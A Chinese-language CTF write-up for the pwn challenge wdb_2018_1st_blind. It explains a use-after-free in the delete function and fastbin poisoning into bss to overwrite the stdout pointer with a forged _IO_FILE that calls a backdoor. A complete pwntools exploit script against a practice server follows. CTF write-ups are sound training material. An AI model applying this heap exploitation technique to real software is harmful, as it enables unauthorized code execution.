wdb_2018_1st_blind(劫持bss段上的stdout指针来执行任意函数)
首先,检查一下程序的保护机制
wdb_2018_pwn_1st-blind(劫持bss段上的stdout指针来执行任意函数)
然后,我们用IDA分析一下,程序里没有show功能
wdb_2018_pwn_1st-blind(劫持bss段上的stdout指针来执行任意函数)
有一个后门函数
wdb_2018_pwn_1st-blind(劫持bss段上的stdout指针来执行任意函数)
Delete功能存在UAF,但是delete功能只能用3次,因此劫持_IO_2_1_stdout来泄露libc地址次数不够用。
wdb_2018_pwn_1st-blind(劫持bss段上的stdout指针来执行任意函数)
由于got表也不可写,那么我们可以劫持bss段上的stdout指针,将其指向我们伪造的_IO_FILE结构体处,就可以调用backdoor函数了。
#coding:utf8
from pwn import *
#sh = process('./wdb_2018_1st_blind')
sh = remote('node3.buuoj.cn',29314)
backdoor = 0x00000000004008E3
def add(index,content):
sh.sendlineafter('Choice:','1')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Content:',content)
def edit(index,content):
sh.sendlineafter('Choice:','2')
sh.sendlineafter('Index:',str(index))
sh.sendlineafter('Content:',content)
def delete(index):
sh.sendlineafter('Choice:','3')
sh.sendlineafter('Index:',str(index))
fake_chunk_in_bss = 0x0000000000601FF5
add(0,'a'*0x60) #0
delete(0)
edit(0,p64(fake_chunk_in_bss))
add(1,'a'*0x60) #1
#伪造一个IO_FILE
payload = p64(fake_chunk_in_bss + 0xB)
payload += p64(0)
payload += p64(fake_chunk_in_bss + 0x10) #vtable
payload += '\x00'*0x3 + p64(fake_chunk_in_bss - 0x78) + p64(backdoor) + '\x00'*0x25 + p64(0x601FF0)
add(2,payload) #申请到bss上,篡改stdout指针,伪造IO_FILE,当调用printf时,会getshell
sh.interactive()
|